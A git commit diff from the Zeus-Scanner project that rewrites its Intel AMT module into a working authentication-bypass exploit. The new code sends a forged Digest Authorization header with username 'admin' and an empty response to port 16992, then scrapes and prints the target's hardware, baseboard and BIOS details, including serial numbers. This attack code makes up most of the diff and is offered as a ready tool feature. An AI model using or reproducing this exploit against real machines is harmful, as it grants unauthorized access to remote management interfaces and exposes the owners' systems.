complete re-write of intel AMT bypass, proxy and user agent configuration added for issue #9

This commit is contained in:
ekultek 2017-09-29 13:58:46 -05:00
parent 024e660853
commit 3e4e37042a
3 changed files with 122 additions and 78 deletions

View file

@ -1,67 +1,122 @@
import re
import socket
import json
import lib.settings
import requests
from lxml import html
from lib.settings import (
proxy_string_to_dict,
logger, set_color,
DEFAULT_USER_AGENT
)
BANNER_REGEX = re.compile("{} {}".format(lib.settings.AMT_SERVER_REGEX, lib.settings.AMT_BANNER_REGEX))
def _is_vuln(response):
if BANNER_REGEX.search(response) is not None:
return True
return False
def create_connection(host, port, proxy=None, resp_size=1024):
send_data = "GET / HTTP/1.1\r\n\r\n"
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.settimeout(10)
#if proxy is None:
conn.connect((host, int(port)))
#else:
# data_list = proxy.split("://")
# conn.connect(())
conn.send(send_data)
response = conn.recv(resp_size)
conn.close()
return response
def intel_amt_main(host, proxy=None, verbose=False):
if proxy is not None:
lib.settings.logger.warning(lib.settings.set_color(
"proxies are not implemented yet, you will not be connected through your proxy...", level=30
def __get_auth_headers(target, port=16992, source=None, agent=None, proxy=None):
if not source or 'WWW-Authenticate' not in source.headers['WWW-Authenticate']:
logger.info(set_color or (
"header value not established, attempting to get bypass..."
))
source = requests.get("http://{0}:{1}/index.htm".format(target, port), headers={
'connection': 'close', 'user-agent': agent
}, proxies=proxy)
return source
# Get digest and nonce and return the new header
if 'WWW-Authenticate' in source.headers:
logger.info(set_color(
"header value established successfully, attempting authentication..."
))
data = re.compile('Digest realm="Digest:(.*)", nonce="(.*)",stale="false",qop="auth"').search(
source.headers['WWW-Authenticate'])
digest = data.group(1)
nonce = data.group(2)
return 'Digest username="admin", ' \
'realm="Digest:{0}", nonce="{1}", ' \
'uri="/index.htm", response="", qop=auth, ' \
'nc=00000001, cnonce="deadbeef"'.format(digest, nonce)
else:
logger.info(set_color(
"nothing found, will skip URL..."
))
return None
ip_address = socket.gethostbyname(host)
lib.settings.logger.info(lib.settings.set_color(
"checking for Intel ME AMT exploit on host '{}' IP address '{}'...".format(host, ip_address)
def __get_raw_data(target, page, agent=None, proxy=None):
logger.info(set_color(
"getting raw information..."
))
for port in lib.settings.AMT_PORTS:
if verbose:
lib.settings.logger.debug(lib.settings.set_color(
"checking port '{}'...".format(port), level=10
))
return requests.get("http://{0}:16992/{1}.htm".format(target, page),
headers={
'connection': 'close',
'Authorization': __get_auth_headers(target),
'user-agent': agent
},
proxies=proxy
)
try:
resp = create_connection(ip_address, port, proxy=proxy)
if _is_vuln(resp):
lib.settings.logger.info(lib.settings.set_color(
"host '{}' appears to be vulnerable to AMT exploit on port '{}'...".format(host, port)
))
except socket.timeout:
lib.settings.logger.warning(lib.settings.set_color(
"host '{}' timed out on port {}, assuming not vulnerable and proceeding...".format(host, port), level=30
def __get_hardware(target, agent=None, proxy=None):
req = __get_raw_data(target, 'hw-sys', agent=agent, proxy=proxy)
if not req.status_code == 200:
return None
logger.info(set_color(
"connected successfully getting hardware info..."
))
tree = html.fromstring(req.content)
raw = tree.xpath('//td[@class="r1"]/text()')
bios_functions = tree.xpath('//td[@class="r1"]/table//td/text()')
data = {
'platform': {
'model': raw[0],
'manufacturer': raw[1],
'version': raw[2],
'serial': raw[4],
'system_id': raw[5]
},
'baseboard': {
'manufacturer': raw[6],
'name': raw[7],
'version': raw[8],
'serial': raw[9],
'tag': raw[10],
'replaceable': raw[11]
},
'bios': {
'vendor': raw[12],
'version': raw[13],
'date': raw[14],
'functions': bios_functions
}
}
return json.dumps(data)
def main_intel_amt(url, agent=None, proxy=None):
proxy = proxy_string_to_dict(proxy) or None
agent = agent or DEFAULT_USER_AGENT
logger.info(set_color(
"attempting to connect to '{}' and get hardware info...".format(url)
))
try:
json_data = __get_hardware(url, agent=agent, proxy=proxy)
if json_data is None:
logger.error(set_color(
"unable to get any information, skipping...", level=40
))
pass
except Exception as e:
lib.settings.logger.exception(lib.settings.set_color(
"caught exception '{}', assuming not vulnerable and proceeding...".format(e), level=50
else:
print("-" * 40)
for key in json_data.keys():
print("{}:".format(str(key).capitalize()))
for item in json_data[key]:
print(" - {}: {}".format(item.capitalize(), json_data[key][item]))
print("-" * 40)
except Exception as e:
if "Temporary failure in name resolution" in str(e):
logger.error(set_color(
"failed to connect on '{}', skipping...".format(url), level=40
))
pass
else:
logger.exception(set_color(
"ran into exception '{}', cannot continue...".format(e)
))

View file

@ -22,7 +22,7 @@ except NameError:
# clone link
CLONE = "https://github.com/ekultek/zeus-scanner.git"
# current version <major.minor.commit.patch ID>
VERSION = "1.0.20"
VERSION = "1.0.21.6ea5"
# colors to output depending on the version
VERSION_TYPE_COLORS = {"dev": 33, "stable": 92, "other": 30}
# version string formatting
@ -51,21 +51,6 @@ DEFAULT_USER_AGENT = "Zeus-Scanner(v{})::Python->v{}.{}".format(
URL_QUERY_REGEX = re.compile(r"(.*)[?|#](.*){1}\=(.*)")
# regex to recognize a URL
URL_REGEX = re.compile(r"((https?):((//)|(\\\\))+([\w\d:#@%/;$()~_?\+-=\\\.&](#!)?)*)")
AMT_SERVER_REGEX = re.compile("Server: Intel\(R\) Active Management Technology")
AMT_BANNER_REGEX = re.compile(
"((11\.(6\.(2(7\.(3(2(6[0-3]|[0-5][0-9])|[01][0-9]{2})|"
"[0-2]?[0-9]?[0-9]?[0-9])|[0-6])|[01]?[0-9])|5|0\.(2(5\."
"(3000|[0-2]?[0-9]?[0-9]?[0-9])|[0-4])|[01]?[0-9]))|10\.0\."
"(5(5\.[0-2]?[0-9]?[0-9]?[0-9]|[0-4])|[0-4]?[0-9])|9\.(5"
"\.(6(1\.(30(1[01]|0?[0-9])|[0-2]?[0-9]?[0-9]?[0-9])|0)|"
"[0-5]?[0-9])|1\.(4(1\.(30(2[0-3]|[01][0-9])|[0-2]?[0-9]?"
"[0-9]?[0-9])|0)|[0-3]?[0-9])|0)|8\.(1\.(7(1\.(3(60[0-7]|"
"[0-5][0-9]{2})|[0-2]?[0-9]?[0-9]?[0-9])|0)|[0-6]?[0-9])|0)"
"|7\.(1\.(9(1\.(3(2(7[01]|[0-6][0-9])|[01][0-9]{2})|[0-2]?"
"[0-9]?[0-9]?[0-9])|0)|[0-8]?[0-9])|0)|6\.(2\.(6(1\.(3(5(3[0-4]|"
"[0-2][[0-9])|[0-4][0-9]{2})|[0-2]?[0-9]?[0-9]?[0-9])|0)|[0-5]?"
"[0-9])|[01])))"
)
# log path for the URL's that are found
URL_LOG_PATH = "{}/log/url-log".format(os.getcwd())
# log path for port scans
@ -74,8 +59,6 @@ PORT_SCAN_LOG_PATH = "{}/log/scanner-log".format(os.getcwd())
SPIDER_LOG_PATH = "{}/log/blackwidow-log".format(os.getcwd())
# the current log file being used
CURRENT_LOG_FILE_PATH = "{}/log".format(os.getcwd())
# intel me amt ports
AMT_PORTS = (16992, 16993, 16994, 16995, 623, 664)
# nmap's manual page for their options
NMAP_MAN_PAGE_URL = "https://nmap.org/book/man-briefoptions.html"
# sqlmap's manual page for their options
@ -319,7 +302,7 @@ def worker(filename, item):
def find_application(to_find, default_search_path="/", proc_num=25, given_search_path=None, verbose=False):
"""
find an application on the users system if it is not in their PATH or not path is given
find an application on the users system if it is not in their PATH or no path is given
"""
retval = set()
if whichcraft.which(to_find) is None:
@ -380,4 +363,9 @@ def create_tree(start, conns, down="|", over="-", sep="-" * 40):
down, over, con
)
)
print(sep)
print(sep)
def get_true_url(url):
data = url.split("/")
return "{}//{}".format(data[0], data[2])

View file

@ -42,7 +42,8 @@ from lib.settings import (
VERSION_STRING,
URL_REGEX, URL_QUERY_REGEX,
NMAP_MAN_PAGE_URL,
SQLMAP_MAN_PAGE_URL
SQLMAP_MAN_PAGE_URL,
get_true_url
)
if __name__ == "__main__":
@ -368,8 +369,8 @@ if __name__ == "__main__":
url_ip_address = replace_http(url.strip())
return nmap_scan.perform_port_scan(url_ip_address, verbose=verbose, opts=__create_arguments(nmap=True))
elif intel:
url_ip_address = replace_http(url.strip())
return intel_me.intel_amt_main(url_ip_address, proxy=proxy_to_use, verbose=verbose)
url = get_true_url(url)
return intel_me.main_intel_amt(url, agent=agent_to_use, proxy=proxy_to_use)
elif admin:
main(url, show=opt.showAllConnections, verbose=verbose)
elif xss: